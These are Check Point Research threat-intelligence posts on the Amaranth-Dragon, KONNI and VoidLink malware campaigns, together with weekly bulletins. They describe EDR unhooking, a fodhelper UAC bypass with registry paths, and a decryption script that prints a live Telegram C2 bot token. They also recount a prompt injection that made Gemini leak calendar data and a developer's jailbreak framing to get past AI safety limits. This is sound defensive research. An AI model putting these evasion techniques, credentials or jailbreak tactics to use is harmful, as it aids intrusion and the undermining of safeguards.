However, before proceeding with full infection, the malware employs an anti-EDR and anti-AV technique that overwrites a hooked ntdll.dll in the current process with a clean, unhooked copy, thereby allowing it to bypass EDR or antivirus hooks. To achieve this, the malware creates a child process of cmd.exe in CREATE_SUSPENDED mode and reads the child process’s ntdll.dll from memory using the ReadProcessMemory API. As many EDR solutions do not hook into the ntdll.dll of a process until it is resumed, the suspended child process typically contains an unhooked version of the DLL. TGAmaranth does not inject any code into the child process, but simply reads the unhooked ntdll.dll and then terminates the child process. The malware then copies the .text section of the unhooked ntdll.dll from the child process into its own address space, effectively removing any EDR or antivirus hooks from the parent process.
Figure 17 — Export, malicious code.
The RAT encrypts most of its critical strings using a custom XOR-based function, which uses the same algorithm as previously described.
Figure 18 — TGAmaranth string decryption.
Due to compiler optimizations such as loop unrolling, the similarities in the decryption routines are not immediately apparent. However, when translating the code into Python, we observe that the same decryption algorithm is used.
def decrypt_tg_amaranth(key: int, data: bytes) -> bytes:
"""
Amaranth-Dragon, TGAmaranth string decryption function.
Author: @Tera0017/@_CPResearch_
"""
return bytes(
data[i] ^ (key >> i % 8) & 0xFF
for i in range(0, len(data)) if data[i]
)
encrypted = b'9\\xb2x\\x95`\\x98\\xe6\\xdc0\\xb3z\\xe1\\x11\\xed\\xad\\xb8f\\xca\\x14\\xd0\\x06\\xcf\\xb9\\x93P\\xb3x\\xc6\\x1f\\xe7\\xe5\\x832\\xef&\\xd18\\xd9\\x98\\x87i\\xd11\\xfa#\\x90\\xd4\\x00'
key = 0x7001694307667501
tg_bot_token = decrypt_tg_amaranth(key, encrypted)
print(tg_bot_token)
# b'8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8\\x00'
The first decrypted string is the Telegram bot token, 8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8, which serves as the C&C channel for the RAT. The RAT leverages the tgbot-cpp library to interact with the Telegram API. Operators send commands to the RAT through the Telegram bot, and the RAT continuously monitors messages received by the bot, executes the specified commands on the infected machine, and returns the results to the bot via the same Telegram channel.
Command
Argument
Description
/start
N/A
Sends the list of running processes from the infected machine to the bot.
/screenshot
N/A
Captures and uploads a screenshot of the infected machine.
/shell
$command
Executes the specified command on the infected machine and returns the output.
/download
$filepath
Downloads the specified file from the infected machine.
/upload
$FILE
Uploads a file to the infected machine.
The example below demonstrates how the group can interact with the infected machine.
Check Point Research observed overlaps between Amaranth-Dragon and APT-41, with similarities apparent in both their targeting and technical toolsets. Both groups have focused their campaigns on government and law enforcement entities across Southeast Asia, and the Amaranth-Dragon arsenal demonstrates notable technical features previously associated with APT-41. These include the use of DLL sideloading techniques and malicious DLLs that employ a Sleep instruction in unused exports, a characteristic observed in APT-41 tools, reported in earlier research publications. In addition, the development style, such as creating new threads within export functions to execute malicious code, closely mirrors established APT-41 practices. Compilation timestamps, campaign timing, and infrastructure management all point to a disciplined, well-resourced team operating in the UTC+8 (China Standard Time) zone. Taken together, these technical and operational overlaps strongly suggest that Amaranth-Dragon is closely linked to, or part of, the APT-41 ecosystem, continuing established patterns of targeting and tool development in the region.
Conclusion
The campaigns by Amaranth-Dragon exploiting the CVE-2025-8088 vulnerability highlight the recent trend of sophisticated threat actors rapidly weaponizing newly disclosed vulnerabilities. By leveraging a path traversal flaw in WinRAR, the group demonstrates its ability to adapt its tactics and infrastructure to maximize impact against highly targeted government and law enforcement organizations across Southeast Asian countries. The use of geo-restricted C&C servers, custom loaders, and open-source post-exploitation frameworks, such as Havoc, underscores the group’s technical proficiency and operational discipline. These attacks serve as a stark reminder of the importance of timely vulnerability management, user awareness, and robust defense-in-depth strategies. Organizations, especially those in government and critical infrastructure sectors, must prioritize patching vulnerabilities, monitoring suspicious archive files, and remaining vigilant for evolving TTPs. As cyber threats continue to align with geopolitical interests, collaboration between regional partners and the security community is essential to detect, disrupt, and defend against these advanced adversaries.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems, protecting against the attacks and threats described in this report.
For the latest discoveries in cyber research for the week of 2nd February, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
MicroWorld Technologies, maker of eScan antivirus, has suffered a supply-chain compromise. Malicious updates were pushed via the legitimate eScan updater, delivering multi-stage malware that establishes persistence, enables remote access, and blocks automatic updates. In response, eScan shut down its global update service for more than eight hours.
Crunchbase, a private company intelligence platform, has confirmed a data breach of over 2 million records claimed by ShinyHunters threat group after a ransom demand was refused. The published files were stolen from its corporate network and include customer names, contact details, partner contracts and other internal documents. Crunchbase said that their operations were not disrupted.
Qilin ransomware group has leaked an alleged database belonging to Tulsa International Airport in Oklahoma. The database include financial records, internal emails, and employee identification data. The airport authority has not yet confirmed compromise, and operations reportedly continue.
Check Point Threat Emulation provides protection against this threat (Ransomware.Wins.Qilin.ta.*; Ransomware.Wins.Qilin)
WorldLeaks extortion group has claimed responsibility for a data breach on the sportswear giant Nike. The threat group allegedly exposed samples totaling 1.4 terabytes of internal data including documents and archives related to the company’s supply chain and manufacturing operations.
AI THREATS
Clawdbot, an open source AI agent gateway, has more than 900 publicly exposed and often unauthenticated instances due to localhost auto approval behind reverse proxies. It enables credential theft, access to chat histories, and remote code execution.
Researchers uncovered RedKitten, a 2026 campaign with LLM-assisted development indicators targeting Iranian activists and NGOs. The campaign uses password-protected Excel lures to deliver SloppyMIO, a C# implant that uses Telegram for C2 and GitHub/Google Drive for payloads, with steganographic configuration, AppDomain Manager injection, and scheduled task persistence.
Researchers identified 16 malicious Chrome extensions for ChatGPT that exfiltrate authorization details and session tokens. The extensions inject scripts into the ChatGPT web application to monitor outbound requests, allowing attackers to hijack sessions and access chat histories.
Researchers analyzed publicly accessible open-source LLM deployments via Ollama and revealed many with disabled guardrails and exposed system prompts, enabling spam, phishing, disinformation, and other abuse.
VULNERABILITIES AND PATCHES
A critical path traversal vulnerability (CVE-2025-8088) in WinRAR is actively exploited by government backed threat actors linked to Russia and China as well as financially motivated threat actors. Weaponized phishing forces WinRAR to write malware into the Windows Startup folder, enabling automatic execution for ransomware and credential theft. A patch is available on WinRAR 7.13.
Check Point IPS provides protection against this threat (RARLAB WinRAR Directory Traversal (CVE-2025-8088))
SmarterTools addressed two critical SmarterMail flaws, including CVE-2026-24423 enabling remote code execution and CVE-2026-23760 allowing unauthenticated admin account takeover. The second flaw is actively exploited, and over 6,000 exposed SmarterMail servers are reportedly vulnerable.
Check Point IPS provides protection against this threat (SmarterTools SmarterMail Remote Code Execution (CVE-2026-24423); SmarterTools SmarterMail Authentication Bypass (CVE-2026-23760))
Fortinet has fixed CVE-2026-24858, an authentication bypass in FortiCloud single sign on which allowed unauthorized access and admin creation on downstream devices. The flaw carries CVSS 9.4 and is actively exploited via FortiCloud SSO.
THREAT INTELLIGENCE REPORTS
Check Point Research has published the 2026 Cyber Security Report, highlighting AI as a force multiplier across attacks, fragmentation in ransomware with data only extortion, and multi-channel social engineering attacks. It maps threat activity to geopolitics and identity driven paths, quantifies risky AI usage, and provides sector and regional breakouts.
Polish CERT detailed coordinated destructive attacks on Polish energy and manufacturing sectors, attributed to Static Tundra, using FortiGate SSL VPN access. The attackers conducted reconnaissance, firmware damage, lateral movement, and deployed DynoWiper and LazyWiper that corrupt files.
Researchers have uncovered renewed Matanbuchus downloader campaigns using Microsoft Installer files disguised as legitimate installers, with frequent component changes to evade antivirus and machine learning detection. In many cases, the loader is used for further ransomware deployment.
Check Point Harmony Endpoint and Threat Emulation provide protection against this threat (Trojan-Downloader.Wins.Matanbuchus.ta.*; Trojan-Downloader.Wins.Matanbuchus; Trojan-Downloader.Win.Matanbuchus)
Researchers have identified PyRAT, a Python based cross platform RAT for Windows and Linux, using unencrypted HTTP POST C2, fingerprinting victims, and file and screenshot exfiltration. Persistence uses a deceptive autostart on Linux and a user Run key on Windows, with semi persistent identifiers.
Researchers have found an Android campaign distributing a RAT via fake security alerts installing TrustBastion, which retrieves a second-stage payload from Hugging Face. The malware abuses Accessibility Services, deploys credential-stealing overlays, and uses server-side polymorphism to regenerate payloads every 15 minutes.
Check Point Research continuously investigates real-world attacks, vulnerabilities, attackers’ infrastructure, and emerging techniques across global networks and environments. The Cyber Security Report 2026 consolidates our research efforts throughout 2025 to deliver a clear, data-driven view of the current threat landscape and its trajectory in 2026.
As Check Point’s flagship annual research publication, the report serves as a reference point for security teams, researchers, and industry leaders seeking to understand how attacker behavior is evolving in practice, not just theory. The findings below highlight the most significant shifts shaping the threat landscape today.
AI as a Force Multiplier Across Cyber Attacks
Artificial intelligence is now embedded across the attack lifecycle, accelerating the execution of familiar techniques at greater speed and scale.
Key observations:
Increasingly convincing social engineering with fewer detectable indicators
Faster reconnaissance and targeting, reducing time-to-compromise
Accelerated malware development
Alongside its role as an enabler, AI is now a direct source of enterprise risk. Research in 2025 identified measurable exposure tied to how organizations deploy and govern AI systems.
Key data points:
Risky AI prompts increased by 97% in 2025
40% of analyzed Model Context Protocols (MCPs) were vulnerable
Elevated trust and autonomy amplify the impact of prompt injection and workflow abuse
Similar efficiency-driven patterns were also observed in financially motivated operations, including ransomware activity.
Ransomware Operations Become More Fragmented and Targeted
Ransomware activity continued to increase in 2025, despite multiple law enforcement takedowns of high-profile groups.
Research findings show:
A shift away from centralized ransomware brands toward smaller, decentralized operators
Increased use of data-only extortion without encryption
More personalized extortion tactics based on victim profiling
Shorter attack and negotiation timelines supported by automation and AI
This evolution reflects a shift toward operational efficiency and decentralized execution.
Unmonitored Devices as High-Value Initial Access Targets
Unmonitored devices played a growing role in intrusion activity, particularly in large-scale and targeted attacks.
Observed trends include:
Exploitation of routers, gateways, VPN appliances, and other perimeter devices
Use of edge devices for persistent access and lateral movement
Delayed detection due to limited monitoring and patching coverage
Supply-chain and vendor ecosystem exposure amplifying risk
These devices often sit outside standard endpoint and identity security controls.
Cyber Activity Aligns More Closely With Geopolitical Conflicts
Threat activity in 2025 increasingly mirrored real-world geopolitical tensions, with cyber operations synchronized to physical and political events.
Key characteristics include:
Coordination between cyber espionage, disruption, and influence campaigns
Targeting of infrastructure and information systems linked to regional conflicts
Use of compromised IoT and surveillance systems to support physical-world operations
This convergence complicates attribution, as activity may involve overlapping criminal and state-aligned characteristics.
Common Pattern: Speed, Scale, and Reduced Visibility
Across all major trends, researchers observed consistent patterns in attacker operations:
Faster execution cycles
Broader targeting with fewer resources
Reduced reliance on custom tooling
Chinese-Nexus Cyber Threats
During 2025 the Chinese-nexus activity was global by design:
Operations are industrialized, not opportunistic
Edge and perimeter infrastructure as primary foothold
Routine zero-day and rapid one-day weaponization
What Security Teams Are Seeing in Practice
Based on activity observed throughout 2025, researchers identified the following conditions present across multiple environments:
Continuous exposure created by misconfigurations, identity weaknesses, and unmanaged assets
Increased reliance on identity-based access paths in intrusion activity
Measurable risk introduced by ungoverned AI usage
Attack paths spanning cloud, edge, SaaS, and on-prem environments
Conclusion
The findings in the Cyber Security Report 2026 reflect sustained observation of real-world attacker behavior rather than isolated incidents or short-term trends. By correlating telemetry, vulnerability research, and active threat investigations across regions and sectors, the report documents how attacker behavior and infrastructure evolved during 2025.
As a long-running, data-driven research publication, the report is intended to support informed analysis, planning, and discussion across the security community, from practitioners and researchers to decision-makers responsible for managing risk in 2026 and beyond.
Read the Cyber Security Report 2026
Access the full report to explore the underlying data, research methodology, and detailed analysis behind these findings.
For the latest discoveries in cyber research for the week of 26th January, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
RansomHub ransomware group has claimed responsibility for a cyber-attack on Luxshare, an electronics manufacturer of Apple, Nvidia, LG, Tesla, and others. The threat actors claimed access to 3D CAD models, circuit board designs, and engineering documentation. The company has not yet confirmed the breach.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat (Ransomware.Wins.Ransomhub.ta.*; Ransomware.Win.RansomHub)
Dark-web threat actor has leaked an alleged database belonging to Under Armour, a US sportswear company, affecting 72 million customer records following a November ransomware attack. The claimed exposed data includes names, email addresses, genders, dates of birth, and addresses.
Raaga, an India-based music streaming platform, has experienced a data breach involving 10.2 million user records, reportedly exfiltrated in December and later advertised on criminal forums. Exposed details include names, emails, demographics, locations, and passwords stored with unsalted MD5 hashes, raising credential stuffing and phishing risks.
Germany’s Dresden State Art Collections (SKD), one of Europe’s oldest museum networks, has confirmed a cyberattack that resulted in widespread disruption to its digital infrastructure and communications. The incident disabled online ticket sales, visitor services, and the museum shop, forced on-site payments to cash-only, and limited digital and phone services, with no indication of data theft or exposure reported.
AI THREATS
Researchers discovered an indirect prompt-injection flaw in Gemini’s Google Calendar assistant that bypassed Calendar privacy controls via a malicious invite description. Gemini used Calendar.create to place summaries of the victim’s meetings into a new event readable by the attacker.
Researchers uncovered a web attack technique where hidden prompts in benign pages call LLM API to generate polymorphic malicious JavaScript at runtime. This enables phishing and credential theft while evading signature-based detection and network filtering by leveraging AI service domains.
Advanced language models such as GPT-5.2 and Opus 4.5 were observed generating working exploits for a previously unknown zero-day vulnerability in QuickJS, a JavaScript interpreter, including in hardened environments where automated systems can produce functional attack code with little to no human intervention. Across six different configurations, the systems produced over 40 distinct exploits.
VULNERABILITIES AND PATCHES
Three high severity vulnerabilities (CVE-2025-68143, CVE-2025-68144, CVE-2025-68145) were disclosed in mcp-server-git, Anthropic’s Git MCP server, enabling path traversal and argument injection exploitable via prompt injection to read or delete files and achieve remote code execution. Fixes available in versions 2025.9.25 and 2025.12.18.
Zoom has fixed CVE-2026-22844, a critical command injection flaw in Zoom Node Multimedia Routers, used in Meeting Connector and Meetings Hybrid deployments. It enables participant remote code execution in versions before 5.2.1716.0, with no confirmed in-the-wild exploitation.
Fortinet has confirmed active exploitation of a FortiCloud SSO auth bypass on fully patched FortiGate firewalls, tied to CVE-2025-59718 and CVE-2025-59719. Attackers are logging in via crafted SAML messages, creating persistent accounts, enabling VPN access, and extracting firewall configurations.
THREAT INTELLIGENCE REPORTS
Check Point Research revealed that VoidLink, a recently exposed cloud-native Linux malware framework, is authored almost entirely by AI, likely under the direction of a single individual. The malware was produced predominantly through AI-driven development, reaching the first functional implant in under a week. From a methodology perspective, the actor used the model beyond coding, adopting an approach called Spec Driven Development (SDD).
Check Point Research identified an ongoing phishing campaign associated with KONNI, a North Korean–linked threat actor active since at least 2014. The campaign targets software developers and engineering teams across the Asia-Pacific region, including Japan, Australia, and India, using blockchain-themed lures to prompt interaction and deliver malicious content. In observed activity, the threat actor deploys AI-generated PowerShell backdoors that establish persistence, steal credentials, and enable infiltration of development environments
Check Point researchers describe a Microsoft Teams phishing campaign abusing guest invitations and finance-themed team names to mimic billing notices. More than 12K emails were observed hitting 6,135 users via invite emails with obfuscated text. The campaign targeted US-based organizations across manufacturing, technology, and education.
Researchers revealed a new ransomware family, Osiris, that blends legitimate Windows tools with custom malware to infiltrate networks and deploy encryption. The operators use a custom malicious driver, Poortry, masquerading as Malwarebytes to disable security software, and exfiltrated data with Rclone to Wasabi buckets before encryption.
Researchers identified a North Korean spear-phishing campaign targeting South Korea that abuses Microsoft Visual Studio Code tunnels for remote access. JSE files masquerading as Hangul documents start the infection chain and grant attackers terminal and file access using living-off-the-land techniques.
Check Point Research (CPR) is tracking a phishing campaign linked to a North Korea–aligned threat actor known as KONNI.
This activity goes beyond KONNI’s typical focus areas, indicating broader targeting across the APAC region, including Japan, Australia, and India.
The campaign targets software developers and engineering teams with expertise in, or access to, blockchain-related resources and infrastructure.
The attackers deploy an AI-generated PowerShell backdoor, highlighting the growing use of AI by threat actors, including North Korean groups.
Introduction
Check Point Research (CPR) identified an ongoing phishing campaign that we associate with KONNI, a North Korean–linked threat actor active since at least 2014. KONNI is best known for targeting organizations and individuals in South Korea, with a focus on diplomatic channels, international relations, NGOs, academia, and government. The group typically relies on spear-phishing that delivers weaponized documents themed around geopolitical issues and activity on the Korean Peninsula.
In this publication, we describe a recent KONNI operation aimed at software developers and engineering teams. The attackers use lure content designed to look like legitimate project documentation, often tied to blockchain and crypto initiatives. This targeting suggests an intent to compromise targets with access to blockchain-related resources and infrastructure.
While the delivery and staging steps align with KONNI’s established tradecraft, the campaign shows signs of broader targeting across the APAC region, extending beyond the group’s usual focus areas. Another notable aspect of the campaign is its use of an AI-written PowerShell backdoor, reflecting the increasing adoption of AI-enabled tooling by threat actors, including North Korean–linked groups.
Targets and Lures
Historically, KONNI activity was focused on South Korea, with only occasional targets located outside the country. In this campaign, however, multiple samples were uploaded to VirusTotal by submitters associated with Japan, Australia, and India, pointing to a potential geographic expansion beyond the group’s typical operating areas.
The campaign appears to target engineering teams, with a clear emphasis on blockchain-related technologies. The lure documents are presented as legitimate project materials and include technical details such as architecture, technology stacks, development timelines, and in some cases, budgets and delivery milestones. This pattern suggests an intent to compromise development environments, thereby obtaining access to sensitive assets, including infrastructure, API credentials, wallet access, and ultimately cryptocurrency holdings.
While this blockchain and crypto focus is more commonly associated with other North Korean–linked actors, there are indications that KONNI also engaged in financially-motivated and crypto-related targeting in the past.
Figure 1 – Blockchain themed lures used in this campaign.
Infection Chain
Figure 2 – Infection Chain.
The infection chain starts with a Discord-hosted link that downloads a ZIP archive via an unknown vector. The ZIP contains two files: a PDF lure document and a Windows shortcut (LNK) file. The LNK launches an embedded PowerShell loader which extracts two additional files: a DOCX lure document and a CAB archive, both embedded within the LNK and XOR-encoded using a single-byte key.
When executed, the LNK:
Writes the DOCX and CAB files to disk.
Opens the DOCX lure to distract the user.
Extracts the CAB archive, which contains:
PowerShell Backdoor
Two batch files
An executable used for UAC bypass
Executes the first batch file extracted from the CAB.
The first-stage batch script creates a new staging directory in C:\ProgramData, which is used to store the malicious components. The script then moves the PowerShell backdoor code and an additional batch file into this directory. To establish persistence, the script creates a scheduled task, disguised as a legitimate OneDrive startup task, configured to run hourly with the current user privilege. This task executes an inline PowerShell command that reads the encrypted PowerShell backdoor from disk, XOR-decrypts it using the single-byte key ‘Q’, and immediately executes the decoded script in memory. It then attempts to launch OneDriveUpdater.exe, which is not present in this infection chain and is a leftover artifact from a previous version. Finally, the batch script deletes itself from disk and exits, removing the initial execution artifact to reduce forensic visibility.
The PowerShell backdoor is heavily obfuscated using arithmetic-based character encoding. Each string is constructed by summing and subtracting numeric literals that resolve at runtime into individual ASCII characters. These decoded characters are concatenated into multiple variables, effectively acting as a string dictionary. The final stage dynamically reconstructs and executes the malicious logic using IEX (Invoke-Expression cmdlet), with substrings indexed from the previously built variables.
Figure 3 – Obfuscated PowerShell backdoor.
AI Usage
The PowerShell backdoor strongly indicates AI-assisted development rather than traditional operator-authored malware.
At first glance, the script has an unusually polished structure. It opens with clear, human-readable documentation describing the script’s functionality:
“This script ensures that only one instance of this UUID-based project runs at a time. It sends system info via HTTP GET every 13 minutes.”
This level of upfront documentation is atypical for commodity or APT-authored PowerShell implants. The script is further divided into well-defined logical sections, each handling a specific task, reflecting modern software engineering conventions rather than ad-hoc malware development.
Figure 4 – PowerShell Backdoor Documentation.
While clean structure and comments alone are not sufficient to attribute AI origins, the script contains a far more telling indicator. Embedded directly in the code is the comment:
“# <– your permanent project UUID”
This phrasing is highly characteristic of LLM-generated code, where the model explicitly instructs a human user on how to customize a placeholder value. Such comments are commonly observed in AI-produced scripts and tutorials.
Figure 5 – AI-produced string in the PowerShell backdoor script.
The verbose documentation, modular layout, and instructional placeholder comments all strongly suggest that the PowerShell backdoor was generated using an AI system, marking a notable shift in KONNI APT’s tooling development.
PowerShell Backdoor analysis
The PowerShell backdoor begins execution with a series of anti-analysis and sandbox-evasion checks. These include validating that the host meets minimum hardware thresholds and actively scanning for the presence of analysis and monitoring tools such as IDA, Wireshark, Procmon, etc. In addition, the backdoor enforces user-interaction checks by monitoring mouse activity and requires a minimum number of clicks before continuing. If these conditions are not met, the script terminates immediately.
After these conditions are met, the backdoor enforces single-instance execution by creating a global mutex named Global\SysInfoProject_<projectUUID>. The project UUID is hardcoded and is identical across all analyzed samples in this campaign: f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61. The backdoor then generates a host-specific identifier used for C2 (Command and Control) tracking. It fingerprints the system by querying WMI for the motherboard serial number and the system UUID. These values are concatenated and hashed using SHA-256, after which the resulting hexadecimal hash is truncated to the first 16 characters. To further differentiate infections and allow operators to distinguish victims across campaigns, a hardcoded campaign-specific string is appended to this identifier before transmission.
Figure 6 – Monitoring and analysis process blacklist.
Next, the malware evaluates its current privilege level and takes a different path for each result:
User – The backdoor uses fodhelper UAC bypass to elevate privileges. This technique abuses the auto-elevated fodhelper.exe binary by modifying registry keys under HKCU\Software\Classes to redirect how Windows resolves the ms-settings protocol. In this case, it creates a custom handler in HKCU\Software\Classes\.thm\Shell\Open\command that points to an attacker-controlled executable and then sets HKCU\Software\Classes\ms-settings\CurVer to reference the .thm file type. When fodhelper.exe is launched, Windows follows this redirected resolution path causing fodhelper.exe to execute an attacker-controlled payload without triggering a UAC prompt. In this campaign, the elevated payload is rKXujm.exe, a small 32-bit utility whose sole purpose is to modify the registry keyHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdmin to 0, effectively disabling UAC prompts for administrator accounts. After successfull execution, the flow continues to the Admin scenario.
Admin – The backdoor performs cleanup of the previously dropped UAC bypass executable. The backdoor then adds a Windows Defender exclusion for C:\ProgramData and executes the second batch script extracted earlier in the infection chain. This script replaces the existing scheduled task with a new one configured to run with elevated privileges, ensuring persistent execution in a high-integrity context.
System – The backdoor deploys SimpleHelp, a legitimate RMM (Remote Monitoring and Management) tool, suggesting operator intent to maintain long-term interactive access beyond the PowerShell backdoor.
Figure 7 – Privilege-Based Execution Flow.
As an initial step in C2 communication, the backdoor performs a JavaScript challenge emulation to obtain a required session cookie named __test from the server. The C2 endpoint is protected by a client-side AES-based gate intended to block non-browser traffic. Instead of using a browser, the backdoor downloads the same AES implementation used by the site, reconstructs the embedded JavaScript logic, decrypts the server-provided ciphertext, and extracts the expected token programmatically. This token is then used as a valid cookie in subsequent HTTP requests, allowing the backdoor to access the C2 infrastructure while bypassing basic anti-bot and non-browser filtering mechanisms. After authentication, the backdoor periodically sends host metadata, including the generated host ID, privilege level, local IPv4 address, and username, to a PHP-based C2 endpoint. Server responses are treated as tasking: if PowerShell code is returned, it is converted into a script block and executed asynchronously via background jobs. Command polling occurs at randomized intervals, and blacklist checks continue during runtime to terminate execution if analysis tools are detected.
Figure 8 – Post request sent to the C2 server.
Earlier Variants of the Infection Chain
Samples uploaded to VirusTotal in October 2025 reveal an earlier variant of the infection chain. In this variant, the initial payload is an obfuscated PowerShell script, with the same obfuscation method (arithmetic-based character encoding) that retrieves multiple secondary components from an attacker-controlled server. These include a mix of batch files, VBScript launchers, a PowerShell backdoor, and two PE files: uc.exe, the same executable discussed earlier for the UAC bypass, and OneDriveUpdater.exe. OneDriveUpdater, which was not present in the samples analyzed from the later campaign even though it was mentioned at the batch file, is a 64-bit PE file whose primary purpose is to download and execute a Simple Help client, which provides the attackers with interactive remote access.
Figure 9 – Early PowerShell script variant.
Execution begins with start.vbs, which silently launches simi.bat. Similar to the primary batch file described in the later samples, simi.bat creates a dedicated subdirectory in C:\ProgramData and relocates the downloaded scripts there for staging. In addition to organizing the tooling, simi.bat executes OneDriveUpdater.exe and then launches schedule1.bat. This script establishes persistence by creating a scheduled task that periodically runs the PowerShell backdoor, in this case named OneDriveUpdate.ps1. While the execution flow is largely consistent with later samples, this earlier variant distributes its functionality across multiple scripts instead of combining it into a single batch file.
start.vbs initiates execution, simi.bat handles staging and payload execution, and schedule1.bat is responsible for persistence. The same modular structure applies to the other supporting scripts that are not explicitly described here.
Attribution
The tactics, techniques, and procedures (TTPs) observed in this campaign strongly align with those associated with North Korean actors, specifically activities tied to the KONNI APT cluster. The campaign is initiated by a weaponized LNK shortcut whose structure and execution logic closely matches KONNI’s attributed LNK launchers described in earlier reports, including a case where the lure filename directly overlaps with a previously reported KONNI artifact (Avinash_CV.lnk). The broader execution chain is likewise consistent with documented KONNI operations: a modular, multi-stage chain built around VBS and multiple BAT scripts, where each component performs a narrowly scoped role (staging, persistence, execution, and handoff to the next layer). Finally, earlier variants in this campaign reuse script names and code patterns that appeared in historical KONNI activity, such as start.vbs launching a follow-on batch file simi.bat, that reinforces our assessment that this activity is part of the KONNI toolset.
Figure 10 – start.vbs from December 2024 infection chain compared to start.vbs from October 2025 downloaded from the server.
Conclusion
This campaign highlights the evolution of the KONNI APT group. The delivery and staging remain aligned with previously documented KONNI tradecraft, including the use of weaponized LNK shortcuts and a modular, multi-stage execution chain built from narrowly scoped script components. These overlaps, together with the recurring naming conventions and execution logic seen in previous reports, these artifacts reinforce our attribution to the KONNI toolset.
At the same time, the targeting reflects a notable shift in behavior. The operation is built around blockchain-themed project materials and appears designed to reach software developers and engineering teams, pointing to an access-oriented objective. Instead of focusing on individual end-users, the campaign goal seems to be to establish a foothold in development environments, where compromise can provide broader downstream access across multiple projects and services.
Finally, this campaign is notable for its apparent use of an AI-written PowerShell backdoor. The introduction of AI-assisted tooling suggests an effort to accelerate development and standardize code while continuing to rely on proven delivery methods and social engineering. Combined with indicators suggesting activity beyond KONNI’s historically South Korean–centric footprint, this operation illustrates how a mature threat actor can maintain stable intrusion workflows while adapting both its targeting and tooling.
Check Point Research (CPR) believes a new era of AI-generated malware has begun. VoidLink stands as the first evidently documented case of this era, as a truly advanced malware framework authored almost entirely by artificial intelligence, likely under the direction of a single individual.
Until now, solid evidence of AI-generated malware has primarily been linked to inexperienced threat actors, as in the case of FunkSec, or to malware that largely mirrored the functionality of existing open-source malware tools. VoidLink is the first evidence based case that shows how dangerous AI can become in the hands of more capable malware developers.
Operational security (OPSEC) failures by the VoidLink developer exposed development artifacts. These materials provide clear evidence that the malware was produced predominantly through AI-driven development, reaching a first functional implant in under a week.
This case highlights the dangers of how AI can enable a single actor to plan, build, and iterate complex systems at a pace that previously required coordinated teams, ultimately normalizing high-complexity attacks, that previously would only originate from high-resource threat actors.
From a methodology perspective, the actor used the model beyond coding, adopting an approach called Spec Driven Development (SDD), first tasking it to generate a structured, multi-team development plan with sprint schedules, specifications, and deliverables. That documentation was then repurposed as the execution blueprint, which the model likely followed to implement, iterate, and test the malware end-to-end.
Introduction
When we first encountered VoidLink, we were struck by its level of maturity, high functionality, efficient architecture, and flexible, dynamic operating model. Employing technologies like eBPF and LKM rootkits and dedicated modules for cloud enumeration and post-exploitation in container environments, this unusual piece of malware seemed to be a larger development effort by an advanced actor. As we continued tracking it, we watched it evolve in near real time, rapidly transforming from what appeared to be a functional development build into a comprehensive, modular framework. Over time, additional components were introduced, command-and-control infrastructure was established, and the project accelerated toward a full-fledged operational platform.
In parallel, we monitored the actor’s supporting infrastructure and identified multiple operational security (OPSEC) failures. These missteps exposed substantial portions of VoidLink’s internal materials, including documentation, source code, and project components. The leaks also contained detailed planning artifacts: sprints, design ideas, and timelines for three distinct internal “teams,” spanning more than 30 weeks of planned development. At face value, this level of structure suggested a well-resourced organization investing heavily in engineering and operationalization.
However, the sprint timeline did not align with our observations. We had directly witnessed the malware’s capabilities expanding far faster than the documentation implied. Deeper investigation revealed clear artifacts indicating that the development plan itself was generated and orchestrated by an AI model and that it was likely used as the blueprint to build, execute, and test the framework. Because AI-produced documentation is typically thorough, many of these artifacts were timestamped and unusually revealing. They show how, in less than a week, a single individual likely drove VoidLink from concept to a working, evolving reality.
As this narrative comes into focus, it turns long-discussed concerns about AI-enabled malware from theory into practice. VoidLink, implemented to a notably high engineering standard, demonstrates how rapidly sophisticated offensive capability can be produced, and how dangerous AI becomes when placed in the wrong hands.
AI-Crafted Malware: Creation and Methodology
The general approach to developing VoidLink can be described as Spec Driven Development (SDD). In this workflow, a developer begins by specifying what they’re building, then creates a plan, breaks that plan into tasks, and only then allows an agent to implement it.
High-level overview of the VoidLink Project
Artifacts from VoidLink’s development environment suggest that the developer followed a similar pattern: first defining the project based on general guidelines and an existing codebase, then having the AI translate those guidelines into an architecture and build a plan across three separate teams, paired with strict coding guidelines and constraints, and only afterward running the agent to execute the implementation.
Project Initialization
VoidLink’s development likely began in late November 2025, when its developer turned to TRAE SOLO, an AI assistant embedded in TRAE, an AI-centric IDE. While we do not have access to the full conversation history, TRAE automatically produces helper files that preserve key portions of the original guidance provided to the model. Those TRAE-generated files appear to have been copied alongside the source code to the threat actor’s server, and later surfaced due to an exposed open directory. This leakage gave us unusually direct visibility into the project’s earliest directives.
In this case, TRAE generated a Chinese-language instruction document. These directives offer a rare window into VoidLink’s early-stage planning and the baseline requirements that set the project in motion. The document is structured as a series of key points:
Chinese
English
Description
目标
Objective
Explicitly instructs the model not to implement code or provide technical details related to adversarial techniques, likely an attempt to navigate or bypass initial model safety constraints (”jailbreak”).
资料获取
Material acquisition
Directs the model to reference an existing file named c2架构.txt (C2 Architecture), which likely contained the seed architecture and design concepts for the C2 platform.
架构梳理
Architecture breakdown
Takes the initial input and decomposes it into discrete components required to build a functional and robust framework.
风险与合规评估
Risk and compliance
Frames the work in terms of legal boundaries and compliance, likely used as a credibility layer and/or an additional attempt to steer the model toward permissive responses.
代码仓库映射
Code repository mapping
Suggests VoidLink was bootstrapped from an existing minimal codebase provided to the model as a starting point, but subsequently rewritten end-to-end.
交付输出
Deliverables
Requests a consolidated output package: an architecture summary, a risk/compliance overview, and a technical roadmap to convert the concept into an operational framework.
下一步
Next Steps
A confirmation from the agent that, once the TXT file is provided, it will proceed to extract it and deliver the relevant information.
This summary of the developer’s initial exchange with the agent suggests the opening directive was not to build VoidLink directly, but to design it around a thin skeleton and produce a concrete execution plan to turn it into a working platform. It remains unclear whether this approach was purely pragmatic, intended to make the process more efficient, or a deliberate “jailbreak” strategy to navigate guardrails early and enable full end-to-end malware development later.
Project Specifications
